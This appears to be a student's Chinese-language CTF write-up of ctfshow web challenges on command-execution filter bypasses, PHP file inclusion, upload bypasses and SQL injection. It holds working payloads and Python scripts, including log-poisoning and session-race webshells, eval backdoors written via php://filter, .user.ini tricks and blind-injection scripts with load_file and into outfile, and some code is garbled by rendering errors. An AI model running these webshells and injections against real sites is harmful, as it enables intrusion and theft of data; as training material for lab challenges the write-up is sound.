过滤回显,去掉命令分隔符||

pay=?c=ta''c$IFS\fla?.php 这里$IFS后接\不是/

Web54

image-20210901074427164

这次过滤了字符串中单个字母,不能用/分割,换grep命令执行

pay=?c=grep$IFS\show$IFS\fla?.php

Web58

image-20210902132954266

这次是用post方法,尝试system命令,提示不能使用,这里提示是用show_source函数,相关知识在总结里

POST:pay=c=show_source("flag.php");

Web59

有丶迷惑,和上题一样

Web60

上题pay通

Web61Web62Web63Web64Web65

全部都是用show_source函数

Web66

这次过滤了show_source函数,使用highlight_file($filename)函数,另外这次文件不在flag.php中,在flag.txt中

pay=c=print_r(scandir("/"));

pay=c=highlight_file("/flag.txt");

Web67

这次print_r函数被禁用,用var_dump函数

pay=c=var_dump(scandir("/"));打印目录

pay=c=highlight_file("/flag.txt");

Web68

这里image-20210902143012115

这里应该是直接把highlight_file函数禁用了,var_dump查看目录发现还是flag.txt,用include函数

pay=c=include("/flag.txt");

Web69

过滤了var_dump,换 d = o p e n d i r ( " . " ) ; w h i l e ( f a l s e ! = = ( d=opendir(".");while(false!==( d=opendir(".");while(false!==(f=readdir(KaTeX parse error: Expected '}', got 'EOF' at end of input: d))){echo"f\n";}查看目录

目录显示存在flag.php,但是include提示字节过大,查看flag.txt出现flag

Web70

flag.php打开失败,尝试flag.txt成功

Web76

image-20210903171204648

这里用到open_basedir选项,相关知识在总结里

pay=c= a = n e w D i r e c t o r y I t e r a t o r ( ′ g l o b : / / / ∗ ′ ) ; f o r e a c h ( a=new DirectoryIterator('glob:///*');foreach( a=newDirectoryIterator(glob:///);foreach(a as KaTeX parse error: Expected '}', got 'EOF' at end of input: f){echo(f->__toString()." ");};exit

>getMessage();exit(0);}exit(0); bp抓包后url编码发包,注意这里url编码后不能有空格,要连在一起 ```

## Web77

![image-20210903172752558](https://img-blog.csdnimg.cn/img_convert/bb285e97eb3532328d060680a1b23aa7.png)

先读取目录,发现在flag36x.txt里

![image-20210903172828108](https://img-blog.csdnimg.cn/img_convert/dff5732c32e6bf3a65c16ea3406b34c9.png)

尝试用load_file函数,但是无法显示

wp里用ffi,这是php7.4版本以上才有的

```c=?><?php $ffi = FFI::cdef("int system(const char
*command);");$ffi->system("/readflag >flag.txt");exit(); 这里是将readflag写入flag.txt中,再访问flag.txt就可以了 ```

![image-20210903173015602](https://img-blog.csdnimg.cn/img_convert/d00c142474f4748ff120c7bd5cd8da89.png)

## Web118

补充知识,BASH内置变量

[常见 Bash 内置变量介绍 - sparkdev - 博客园 (cnblogs.com)](https://www.cnblogs.com/sparkdev/p/9934595.html#title_0)

题目打开后是这样

![image-20210906180342004](https://img-blog.csdnimg.cn/img_convert/8c841d7c6e0a44bb602cce0188589c45.png)

查看源码后发现是system($code),并且题目提示flag在flag.php里,这里用到bash的相关知识,并且要用nl命令

这里只能用大写字母和{},$等符号

```网站目录是在var/www/html 而${PATH:~A}返回的是目录bin的最后一个字符,即n ${PWD:~A}返回的是当前目录最后一个字符,即l ${PATH:~A}${PWD:~A}构造出nl flag.php用通配符匹配????.??? pay=${PATH:~A}${PWD:~A} ????.??? ```

## Web119

这次把PATH过滤了,WP推荐的是用cat

${PWD:0:1},返回的是当前目录第(0+1)个字符

```${PWD::{#SHLVL}} ${#SHLVL}返回的是${SHLVL}的位数,${SHLVL}返回的是当前shell(终端的数),打开一个就是1 ${#XXX} 返回的是XXX的位数,比如${#SHLVL}返回的就是1 ${RANDOM} LINUX下$RANDOM返回的一般是4,5,3这几个数,并且4的频率较高,用来代替4 bin和base6用?代替${PWD::{#SHLVL}}????? pay=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.??? pay=${PWD::{#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.??? ```

这里因为RANDOM的原因,要多次尝试,因为不一定是4

## Web120

阴间题目。。

打开后是直接是php代码

![image-20210906190524023](https://img-blog.csdnimg.cn/img_convert/1198cc9aa3ed74fc625f00692e8a5aa0.png)

这里限制了code的长度要小于66,POST传参

```pay=code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.??? ```

然后查看源码即可,flag在源码最下面

## Web121

![image-20210906190931266](https://img-blog.csdnimg.cn/img_convert/72f04020d97e0d87b69ce37a202efb49.png)

这次把最关键的SHLVL过滤了,UESR也被过滤,不能构成cat,这里构造rev取反

```这里我们可以用${IFS}和${#}分别替代

${#IFS}在ubuntu等系统中值为3,我在kali中测试值为4

${#}为添加到shell的参数个数,${##}则为值,经测试,kali下${#}为0,##为1 ```

```构造pay=code=${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${##}}?? ????.??? ```

## Web122

![image-20210906192302186](https://img-blog.csdnimg.cn/img_convert/b69db9b38fe608a06549a22088cb9b2d.png)

寄了,PWD也被禁了

这里因为${#}不能用了,用$?来代替作为1

```$? 最后运行的命令的结束代码(返回值)即执行上一个指令的返回值 (显示最后命令的退出状态。0表示没有错误,其他任何值表明有错误) ```

```${HOME::1}返回/ ${#RANDOM}返回4或3或5 <A;报错,使$?返回1 pay=code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.??? ```

## Web124(当做一个检测题吧)

相关知识()

[PHP Math 函数 (w3school.com.cn)](https://www.w3school.com.cn/php/php_ref_math.asp)

## 命令执行总结

1.cat是读取文件并正序打印,tac是读取文件并逆序打印
2.碰到屏蔽了某一字符串的情况可以尝试用来匹配,比如fla 这里*就是通配符
3.另一种读取文件命令grep,比如grep flag flag.php,作用是找到flag.php中含有flag的那一行并打印出来 ```

通配符详解(主要是*和?)

通配符_百度百科 (baidu.com)

include和require区别

PHP 中 include 和 require 的区别详解 | 菜鸟教程 (runoob.com)

关于php://filter简单理解

php://filter 的使用_hhh-CSDN博客

open_basedir选项

PHP 配置文件中open_basedir选项作用 - 追忆-php - 博客园 (cnblogs.com)

> /dev/null 2> &1” ```

```1:> 代表重定向到哪里,例如:echo “123” > /home/123.txt 2:/dev/null 代表空设备文件 3:2> 表示stderr标准错误 4:& 表示等同于的意思,2>&1,表示2的输出重定向等同于1 5:1 表示stdout标准输出,系统默认值是1,所以">/dev/null"等同于 “1>/dev/null” 因此,>/dev/null 2>&1 也可以写成“1> /dev/null 2> &1”

那么本文标题的语句执行过程为: 1>/dev/null :首先表示标准输出重定向到空设备文件,也就是不输出任何信息到终端,也就是不显示任何信息。 2>&1 : 接着,标准错误输出重定向到标准输出,因为之前标准输出已经重定向到了空设备文件,所以标准错误输出也重定向到空设备文件。 ```

命令分隔符

[命令执行分隔符辨析 - ShadonSniper - 博客园 (cnblogs.com)](https://www.cnblogs.com/hiccup/p/5423976.html)

空格替代

```%20(有些可用有些不可用)%09(get传参时可以绕过数字过滤) <
> $IFS(使用时依情况加入/或\,一般情况下使用\) ```

注意,如果使用ascii码绕过,0x09需要写为x09

![image-20210831080650797](https://img-blog.csdnimg.cn/img_convert/96f99d536fc0bfe21916a6f4ae74d347.png)

分隔符

```'' ```

show_source函数

[PHP show_source() 函数 (w3school.com.cn)](https://www.w3school.com.cn/php/func_misc_show_source.asp)

一些文件读取方法

```highlight_file($filename); show_source($filename); print_r(php_strip_whitespace($filename)); print_r(file_get_contents($filename)); readfile($filename); print_r(file($filename)); // var_dump fread(fopen($filename,"r"), $size); include($filename); //  include_once($filename); // 非php代码 require($filename); //  require_once($filename); // 非php代码 print_r(fread(popen("cat flag", "r"), $size)); print_r(fgets(fopen($filename, "r"))); // 读取一行 fpassthru(fopen($filename, "r")); // 从当前位置一直读取到 EOF print_r(fgetcsv(fopen($filename,"r"), $size)); print_r(fgetss(fopen($filename, "r"))); // 从文件指针中读取一行并过滤掉 HTML 标记 print_r(fscanf(fopen("flag", "r"),"%s")); print_r(parse_ini_file($filename)); // 失败时返回 false , 成功返回配置数组 print_r(scandir("/"));打印目录 var_dump(scandir("/"));打印目录 ```

读取目录的几种方法

```print_r(glob("*")); // 列当前目录 print_r(glob("/*")); // 列根目录 print_r(scandir(".")); print_r(scandir("/")); $d=opendir(".");while(false!==($f=readdir($d))){echo"$f\n";} $d=dir(".");while(false!==($f=$d->read())){echo$f."\n";} $a=glob("/*");foreach($a as $value){echo $value."   ";} $a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");} ```

常见bash内置变量

[常见 Bash 内置变量介绍 - sparkdev - 博客园 (cnblogs.com)](https://www.cnblogs.com/sparkdev/p/9934595.html#title_0)

# 文件包含

## Web78

用php伪协议过

```?file=php://filter/convert.base64-encode/resource=flag.php convert.base64-encode/表示读取的方式是base64编码后,resource=index.php表示目标文件为index.php。 通过传递这个参数可以得到index.php的源码,下面说说为什么,看到源码中的include函数,这个表示从外部引入php文件并执行,如果执行不成功,就返回文件的源码。

而include的内容是由用户控制的,所以通过我们传递的file参数,是include()函数引入了index.php的base64编码格式,因为是base64编码格式,所以执行不成功,返回源码,所以我们得到了源码的base64格式,解码即可。 ```

## Web79

这里用php://filter和data://text都行,这里用data伪协议

```?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs= ```

## Web80()

![image-20210907162908525](https://img-blog.csdnimg.cn/img_convert/e94dd152230de00123b187f8913a3562.png)

过滤了php和data,php大小写绕过不可用,这里访问日志目录

![image-20210907174007237](https://img-blog.csdnimg.cn/img_convert/62181a4d26a0777b6144920d4498fb34.png)

这里不能抓包,最好用hackbar来做,先用,UA传入包含点,再用包含点传入命令,获得flag

注意,这里一定要先用UA传包含点,POST再传,一起传会出错

![image-20210907180634437](https://img-blog.csdnimg.cn/img_convert/ad4774e51a500e4ebc46fad8ae48b054.png)

![image-20210907174200924](https://img-blog.csdnimg.cn/img_convert/a7ae8ff91a3724d32a5409b9ac33b8a2.png)

## Web80(复习版)

**脚本跑**

```python
#-- coding: utf-8 --
#@Time : 2021/10/11 18:53
#@Author : 白无
#@Email : zxc78945630214@163.com
#@File : 日止包含.py
#@Software: PyCharm
#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/3/7 11:50
# blog: www.wlhhlc.top import requests

url = "http://26c00f63-0c16-4a76-b113-f7955327c9d2.challenge.ctf.show:8080/"+'?file=/var/log/nginx/access.log' headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0<?php @system($_POST[baiwu]);?>' } data = {
    'baiwu': "cat fl0g.php;" }

result = requests.post(url=url, headers=headers, data=data) print(result.text) ```



## Web81

ybb,这个和web80一样,好像有什么大病

失误一步就做不出来,寄,方法和80一样

## Web82(session包含)

session包含,这种题一直不是很会,相关知识在总结里

用到竞争,脚本啊...

脚本如下:

#-- coding:UTF-8 –

Author:dota_st

Date:2021/2/20 23:51

blog: www.wlhhlc.top import io import requests import threading url = ‘http://6b6b581d-1b41-420c-80d0-427067e8d236.challenge.ctf.show:8080/’

def write(session):
data = {
‘PHP_SESSION_UPLOAD_PROGRESS’: ‘<?php system("tac f*");?>dotast’
}
while True:
f = io.BytesIO(b’a’ * 1024 * 10)
response = session.post(url,cookies={‘PHPSESSID’: ‘flag’}, data=data, files={‘file’: (‘dota.txt’, f)}) def read(session):
while True:
response = session.get(url+’?file=/tmp/sess_flag’)
if ‘dotast’ in response.text:
print(response.text)
break
else:
print(‘retry’)

if name == ‘main’:
session = requests.session()
write = threading.Thread(target=write, args=(session,))
write.daemon = True
write.start()
read(session) ```

Web83,84,85,86

session竞争,用上题脚本跑即可

Web87

image-20210927173633278

在$content之前拼接了phpdie

换一个脚本跑

#-- coding: utf-8 --
#@Time : 2021/10/12 19:44
#@Author : 白无
#@Email : zxc78945630214@163.com
#@File : session包含(特殊情况).py
#@Software: PyCharm import requests url = "http://c0c5583b-0b5d-4ad9-8435-eae5778c1632.challenge.ctf.show:8080/"
#经过两次url编码的php://filter/write=convert.base64-decode/resource=dotast.php get_data = "%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%44%25%36%33%25%36%46%25%36%45%25%37%36%25%36%35%25%37%32%25%37%34%25%32%45%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%44%25%36%34%25%36%35%25%36%33%25%36%46%25%36%34%25%36%35%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%36%34%25%36%31%25%37%34%25%36%31%25%37%33%25%37%34%25%32%45%25%37%30%25%36%38%25%37%30" get_url = url + "?file=" + get_data data = {
    'content': 'nbPD9waHAgQGV2YWwoJF9QT1NUW3Bhc3NdKTs/Pg==' }

res = requests.post(url=get_url, data=data) shell_url = url + "datast.php" test = requests.get(shell_url) if(test.status_code == 200):
        print("[*]getshell成功")
        shell_data = {
            'pass': 'system("cat fl0g.php");'
        }
        result = requests.post(url=shell_url, data=shell_data)
        print(result.text) else:
    print("没有写入成功")

Web88


/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-17 02:27:25
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

 */ if(isset($_GET['file'])){
    $file = $_GET['file'];
    if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
        die("error");
    }
    include($file); }else{
    highlight_file(__FILE__); } ```

data协议

```pay=?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmwwZy5waHAnKTsgPz4 ```

## Web116

emm本地文件包含,file直接包含路径就可(抓包包含)

## Web117

```php <?php

/*
# -*- coding: utf-8 -*-
# @Author: yu22x
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-01 18:16:59

*/ highlight_file(__FILE__); error_reporting(0); function filter($x){
    if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
        die('too young too simple sometimes naive!');
    } } $file=$_GET['file']; $contents=$_POST['contents']; filter($file); file_put_contents($file, "<?php die();?>".$contents); ```

比session包含多了正则过滤,脚本不能用

这里用到convert.iconv的知识放到总结里了

```python
#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/2/21 12:29
# blog: www.wlhhlc.top import requests

url = "http://89c4ad73-f77e-48aa-b781-f95972aedcb5.challenge.ctf.show:8080/" get_data = "php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=dotast.php" get_url = url + "?file=" + get_data data = {
    'contents': '?<hp pe@av(l_$OPTSd[tosa]t;)>?' } res = requests.post(url=get_url, data=data) shell_url = url + "dotast.php" test = requests.get(shell_url) if(test.status_code == 200):
    print("[*]getshell成功")
    shell_data = {
        'dotast': 'system("cat flag.php");'
    }
    result = requests.post(url=shell_url, data=shell_data)
    print(result.text) ```



## 文件包含总结

在做文件包含是要找到包含点,比如在80题中,要向ua头中传入1作为包含点,用1去包含命令,另外,包含最好不要用抓包,有时会出错

session总结

[利用session.upload_progress进行文件包含和反序列化渗透 - FreeBuf网络安全行业门户](https://www.freebuf.com/vuls/202819.html)

题目讲解

[(5条消息) wmctf2020 Make PHP Great Again_Firebasky的博客-CSDN博客](https://blog.csdn.net/qq_46091464/article/details/108021053)

convert.iconv.:一种过滤器,和使用iconv()函数处理流数据有等同作用 `iconv ( string $in_charset , string $out_charset , string $str )`:将字符串`$str`从`in_charset`编码转换到`$out_charset` 这里引入usc-2的概念,作用是对目标字符串每两位进行一反转,值得注意的是,因为是两位所以字符串需要保持在偶数位上

# 文件上传

## Web151

![image-20211015183448050](https://img-blog.csdnimg.cn/img_convert/da13e192305633e479204b0b0553838a.png)

提示前台校验不可靠,猜测是修改请求包

**bp抓包**

(不要使用pptp连服务器,会被拦)

![image-20211018072457444](https://img-blog.csdnimg.cn/img_convert/c25ab270e2872ccbade1d440f239332e.png)

## Web152

![image-20211018073111156](https://img-blog.csdnimg.cn/img_convert/c806f1a4a77168ae423eb03b05b39897.png)

和上题一样,抓包改后缀即可

![image-20211018072919613](https://img-blog.csdnimg.cn/img_convert/ac5535a9e23906de15d057243bd05c82.png)

## Web153

![image-20211018074012662](https://img-blog.csdnimg.cn/img_convert/c6e8428943c2306cb942de01f73c6ba4.png)

开始大概尝试bp改后缀,尝试了.php.jpg,%00截断,以及大小写绕过,结果是都不可以,大写`Php`成功上传但是没有不能执行命令,405报错

**师傅们的wp:**

师傅们使用了`.user.ini`来构造后门

```php.ini是php的一个全局配置文件,对整个web服务起作用;而.user.ini和.htaccess一样是目录的配置文件,.user.ini就是用户自定义的一个php.ini,我们可以利用这个文件来构造后门和隐藏后门。 ```

`.user.ini`是用户自定义的一个php.ini

并且用到了php.ini的两个配置项

```php auto_prepend_file=filename      //包含在文件头 auto_append_file=filename       //包含在文件尾 ```

`auto_prepend_file=filename` :

```指定一个在主文件之前自动解析的文件名。该文件被包含,就像它被require函数调用一样,所以include_path被使用。

特殊值none将禁用自动预处理。举例,同一目录下有3.php,2.jpg和.user.ini(auto_prepend_file=2.jpg),那么当调用3.php时会包含2.jpg ```

**bp:**

先上传`.user.ini`

![image-20211018084411786](https://img-blog.csdnimg.cn/img_convert/bb892b3ce4003b93a7134c7620e3c0bc.png)

再上传需要的baiwu.png

![image-20211018084439607](https://img-blog.csdnimg.cn/img_convert/3e0de67dd41263408d45451ec25b45dd.png)

**注意**:这里如果是上传`<?php @system($_POST[a]);?>`,因为是以png格式上传,所以第一个`<`会被解析为?,导致不能形成语句,所以需要加上`#`防止被注释掉,然后执行命令即可

![image-20211018084729760](https://img-blog.csdnimg.cn/img_convert/71f908455702ec514bab6305bb1c94e8.png)



## Web154

![image-20211018090626499](https://img-blog.csdnimg.cn/img_convert/930d19c8120883f500371129182c885e.png)

~~尝试上传png,jpg,php结果都是文件内容不合规,尝试修改文件头~~想多了,注意提示,文件内容不合规,而且普通png文件是可以上传的,(bp拦截忘记关了,所以都不能通过。。。。)

**师傅们的wp:**

解码后显示的文字是不支持格式,说明可能内容里的php被ban了,改成短标签的形式再上传

**短标签:**

`<? `这是短标签,`<?php`这是正常的,但是一般短标签开启需要`php.ini`的`short_open_tag = On`

`<?=函数()?>`

本题应该是默认开启的

![image-20211018091725559](https://img-blog.csdnimg.cn/img_convert/0ae89e5d90f704788dc194b9238bdfe4.png)

这里随便上传一个png,然后修改内容和文件名就可

## Web155154

## Web156

![image-20211018122927248](https://img-blog.csdnimg.cn/img_convert/5bca01cbe62808007715af337227c5b7.png)

尝试上传png,提示文件类型违规,尝试.user.ini,可以上传,尝试加入一句话木马后上传ini,提示文件类型违规,疑似对一句话木马中的某个字符进行了匹配,**WP中说可以用上题方法打通,尝试后发现是过滤了`php`和`[` `]`**

传入的内容:`#<?@system("tac ../fl*");?>`

## Web157

![image-20211018124635731](https://img-blog.csdnimg.cn/img_convert/22d0086a723f9fd505a189d94fcec42f.png)

经过尝试这次过滤了`;`

自己尝试了替换分割符绕过但是没用(疑似用错,返回的是语法错误)

![](https://img-blog.csdnimg.cn/img_convert/d8269bb1daa55b132e5f479a43208cc8.png)

**师傅们的wp:**

这里对短标签的用法有一个误区

`<?=函数`实际上这个用法已经包含了`;`,不需要再加入`;`,如果是`<? 函数;>?`那么这个`;`就是不能少的,对于这个题,过滤了`;`,我们就可以选择第一种`=`的方式

`#<?=system("tac ../fl*")?>`

## Web158157

## Web159

这次过滤了`()`,选择用反引号`绕过

#<?=`tac fl*`?> ```

Web160

这次反引号也被过滤

师傅们的wp

<?=include"ph"."p://filter/convert.base64-encode/resource=../flag.p"."hp"?>

这里师傅选择用包含的方式读取文件,采用拼接的方式绕过php的过滤

Web161

过滤了inipng也不能上传,其中的内容也被过滤

师傅们的wp:

getimagesize(): 会对目标文件的16进制去进行一个读取,去读取头几个字符串是不是符合图片的要求

这里提到了getimagesize()作用是获取目标文件的16进制信息,(读取头几个字符串是不是符合图片的要求这一点没找到,但是师傅的wp中写了)

加上GIF89a:

GIF89a图片头文件欺骗 - IT使者 - 博客园 (cnblogs.com)

php环境下getimagesize()不能判断GIF89a是无效图片

所以在传入的数据中加入GIF89a即可

image-20211018162928104

Web162

没有头绪。。。。

师傅们的wp:

这次被ban掉的是.,这里用到了session包含的知识

Web163

Web164

.user.ini被ban,提示只允许上传png文件

师傅们的wp:

麻了,做题太多忘记碰到问题要先看源码了

先看源码

image-20211018195242731

有一个download.php?image=

Sql注入(复习版)

Web171(简单过滤开始)

image-20211020073837518

可以得知是'过滤

新方法:

使用or 1=1绕过,sql语句中的or是逻辑顺序,执行顺序会从前到后全部执行,不要和php的搞混

Web172

image-20211020192104679

解题方法:

会检测返回内容,如果返回数组中username字段不等于flag就会查询成功,这里我们选择将password和username字段反转

1' union select password,username from ctfshow_user2 -- qwe绕过

Web173

image-20211020200154132

解题步骤:

复习时想到的新知识,这里把flag给过滤了,那我不直接不查flag不就好了(233)

image-20211020200308959

所用pay:

1' union select id,2,password from ctfshow_user3 where id=26 -- qwe

Web174

image-20211021074949381

和173不同的同时要求返回的查询结果中不能有数字,所以我们用replace函数替代

构造pay:

1' union select 'x',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'1','ONE'),'2','TWO'),'3','THREE'),'4','FOUR'),'5','FIVE'),'6','SIX'),'7','SEVEN'),'8','EIGHT'),'9','NINE'),'0','ZERO') from ctfshow_user4 where id=26 -- qwe

**注意:**查询中有字母时,比如上面的x,要加上’’`

Web175

image-20211021082156448

这里过滤了几乎可以用的所有字符,可以想到的是用编码绕过,但是url编码好像没用?属于是PHP做傻了,这里过滤的是返回结果中的所有字符,并不是查询语句。。

真的没想起来怎么做了…

师傅们的wp:

绝了,果然web是互通的吗…群主使用的方法是把查询结果返回到浏览器根目录的一个文件中,

构造pay:

1' union select 1,password from ctfshow_user5 where id=26 into outfile '/var/www/html/2.txt' -- qwe

这里用到了into outfile这个方法,虽然有可能返回语法错误,但是命令是正常执行了

Web176

image-20211021090852378

简单的过滤,几次尝试后发现过滤了select,但是没有匹配大小写,大小写绕过即可

1' Union Select 1,2,password From ctfshow_user Where Id=26 -- qqe

Web177

image-20211021092026322

简单过滤,这次过滤了空格,尝试%20绕过不行,%09成功绕过

构造pay:

1'%09Union%09Select%091,2,password%09From%09ctfshow_user%09Where%09Id=26%09--%09qqe

Web178

emm意义不明,和上题一样,%09绕过了

Web179

image-20211023095706965

不清楚具体的过滤,尝试了绕过空格过滤的各种方式但是不行,大小写也不是,但是好像%0a和其他几个会被

麻了,好像是昨天晚上环境出问题了这里尝试%0c是可以执行的…

构造pay:

1'%0cunion%0cselect%0c1,2,password%0cfrom%0cctfshow_user%0cwhere%0cid=26--%0cqwe

Web180

和上题一样,%0c可以过,直接

1'or%0c1=1--%0cqwe

Web181

emm好像有点一把梭了,这里没过滤or,直接用上一题就行

Web182

???有毒,求求过滤一下or吧

Web183

image-20211023102515842

过滤了一大堆东西,or也被过滤,并且没有告诉我们表名i这次连表名也要自己猜了。。

忘记这叫什么了?(盲注?)好像是,这里盲猜一个表ctfshow_user又值,并且pass字段共有22个

目前我们只能在表名这里进行注入,好像;可以执行但是在后面加入的命令好像不可以…(疑似是命令执行?)

新知识点:

like语句:SQL LIKE 操作符 (w3school.com.cn)

where搭配使用,例如select *from persons where city like "shandong"

构造pay:

这里使用了脚本

#-- coding: utf-8 --
#@Time : 2021/10/27 15:00
#@Author : 白无
#@Email : zxc78945630214@163.com
#@File : sql脚本.py
#@Software: PyCharm import requests

url = "http://2ac49e8e-ea4b-45db-822d-bb646fff1f63.challenge.ctf.show/select-waf.php" str = "0123456789abcdefghijklmnopqrstuvwxyz{}-" flag = "ctfshow" for i in range(0,666):
    for j in str:
        data = {"tableName":"(ctfshow_user)where(pass)like'{0}%'".format(flag+j)}
        res = requests.post(url=url, data=data)
        if "$user_count = 1" in res.text:
            flag += j
            print(flag)
            if j=="}":
                exit()
            break ```

**基本pay:**

`tableName=(ctfshow_user)where(pass)like'ctfshow%`查询ctfshow_user表中的``pass``字段是否含有某字符

这里的`%`是通配符的意思

## Web184

![image-20211027151445468](https://img-blog.csdnimg.cn/img_convert/9d8f191fd8ae8927935ef843c0f03362.png)

![image-20211027151402997](https://img-blog.csdnimg.cn/img_convert/9d2a95c20c63159ede682d5b2e4021eb.png)

和上题一样,要才表名,并且这次把字段也换成了* ,尝试`ctfshow_user`发现存在,回显是22

但是这次过滤了单引号与双引号

**新知识:**

**left/rigth join:**

比如有两张表

**person表**

![image-20211027160134413](https://img-blog.csdnimg.cn/img_convert/ce29ae1246e6aeb6c7875db1b62a22c7.png)

**school表**

![image-20211027160235565](https://img-blog.csdnimg.cn/img_convert/3fa884d5659c522c32ad234a98a78742.png)

**查询语句:**`select * from person left join school on person.school_id=shcool.id `

**结果**

![image-20211028090555614](https://img-blog.csdnimg.cn/img_convert/352763686d05434294979c42136de2a8.png)

left和rigth的区别实际上就是左边/右边的表会全部返回

**本题用的方法:**

这里使用的语句是:`select * from test right join test2 on test2.password like 1212`

![image-20211028093243498](https://img-blog.csdnimg.cn/img_convert/318466c3370c13e481c60fdbc623b1ec.png)

对test表没有限制,所以左表test全部输出,右表对于test2会用当前全部符合条件的行去和左表对齐,然后下面是不满足条件的行,左表用`null`对齐

**具体可以参考:**[(11条消息) sql语句的内外左右连接(left join and right join)_Mr_linjw的专栏-CSDN博客_sql左连接语法](https://blog.csdn.net/Mr_linjw/article/details/50385769)

**as语句:**

起别名:

`select username as 姓名 from test `

返回的数据`username`字段会被替换为`姓名`



## Web185

![image-20211106104526612](https://img-blog.csdnimg.cn/img_convert/d14d790bbcf4ef7e63ee98c15ef5bc33.png)

过滤了一些东西

数字全被过滤,盲注的情况下不能使用数字测试

**师傅们的wp:**

**新知识点**:

在mysql中,sql语句true为1,true+true=2,通过这一特点构造数字

**脚本**

```python import requests

def createNum(n):
    str = 'true'
    if n == 1:
        return 'true'
    else:
        for i in range(n - 1):
            str += "+true"
    return str
#把每一个字符转换成ascii码对应的数值 def change_str(s):
    str=""
    str+="chr("+createNum(ord(s[0]))+")"
    for i in s[1:]:
        str+=",chr("+createNum(ord(i))+")"
    return str

url = "http://fe14cdaf-0680-4a52-80a9-1591a50c9154.challenge.ctf.show/select-waf.php" str = "0123456789abcdefghijklmnopqrstuvwxyz{}-" flag = "ctfshow" for i in range(0,666):
    for j in str:
        result = change_str(flag + j + "%")
        data = {"tableName":"ctfshow_user as a right join ctfshow_user as b on b.pass like(concat({0}))".format(result)}
        res = requests.post(url=url, data=data)
        if "$user_count = 43;" in res.text:
            flag += j
            print(flag)
            if j=="}":
                exit()
            break ```

## Web186(简单过滤结束)

同上,脚本即可

## Web187(盲注开始)

![image-20211107171345470](https://img-blog.csdnimg.cn/img_convert/b21a28b33968b6f03eb20859b8a32bc6.png)

和前几题明显不一样了

username是通过post传参方式获得的,password是通过post方式传参,并且会以16字符长度的原始二进制返回

该题的思路是,用户名要等于admin,password的密码要等于admin的密码

**需要的特殊字符**:

`ffifdyop`

**ffifdyop被md5加密后的276f722736c95d99e921722cf9ed621c转换成16位原始二进制格式为'or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c,这个字符串前几位刚好是' or '6**

成功登陆

~~接下来尝试爆出flag~~

麻了,很绝,flag在响应包里,登陆后f12或者bp抓个包就可以获得flag

## Web188

![image-20211107182334601](https://img-blog.csdnimg.cn/img_convert/ee1359b3e887dad09a9d1eddadde1544.png)

~~`is_numeric()`这个函数的参为16进制时,返回值为true,这时可以绕过~~

初步想法是password传入intval(),是下面构成intval(intval()),返回值为空,与字符串弱比较后为true,目前该思路无法执行

**师傅们的wp:**

username=0&password=0,弱比较相等

**破案了**:

![image-20211107194005908](https://img-blog.csdnimg.cn/img_convert/67b48819f921c669911db6e9df2b6de9.png)

php 5.X版本支持,php7.X版本修复了16进制的漏洞

## Web189

![image-20211107195158942](https://img-blog.csdnimg.cn/img_convert/976cfa38d96d533085b35abb3cae810e.png)

~~和上题一样,弱比较绕过~~

很显然出题人没有这么傻,这次修改了逻辑,如果为空会返回查询失败

寄了,sql做的太少了,没有思路

**师傅们的wp:**

**盲注脚本:**

```python
#-- coding: utf-8 --
#@Time : 2021/11/7 20:33
#@Author : 白无
#@Email : zxc78945630214@163.com
#@File : sql盲注(load_file可参考).py
#@Software: PyCharm import requests url = "http://7b9478e7-a188-4953-b147-25a2616d9e3e.challenge.ctf.show/api/index.php" all_str = "0123456789abcdefghijklmnopqrstuvwxyz-{}" flag = "ctfshow{"

for i in range(200):
    for j in all_str:
        data = {
            "username":"if(load_file('/var/www/html/api/index.php')regexp('{0}'),0,1)".format(flag
+ j),
            'password':0
        }
        res = requests.post(url=url, data=data)
        if r"\u5bc6\u7801\u9519\u8bef" in res.text:
            flag +=j
            print(flag)
            break
        if j=='}':
            exit() ```

## Web190

![image-20211108090745001](https://img-blog.csdnimg.cn/img_convert/7275c9ae0e014275dfbb13c9c2ff574d.png)

与前几题逻辑基本相似,密码要为全数字,少了对username的正则和返回的情况。

![image-20211108091037130](https://img-blog.csdnimg.cn/img_convert/3b3724befcaaa6458feac82400220bd0.png)

返回的情况变了,在查找不到用户名的情况下返回的值为用户名不存在

尝试admin,发现返回的是密码错误

![image-20211108091341398](https://img-blog.csdnimg.cn/img_convert/4ac77566d9e18e3a4f2e140d9ad08cee.png)

大体有一个思路,在admin栏尝试盲注,但是查询的内容是pass字段下的内容,如果返回的值为1,那应该就会返回密码错误,如果不存在,就会返回用户名不存在,关键是在注入这里

又被拦了,因为学校防火墙的原因导致sql注入不能进行

**脚本:**

```python
#-- coding: utf-8 --
#@Time : 2021/11/8 9:45
#@Author : 白无
#@Email : zxc78945630214@163.com
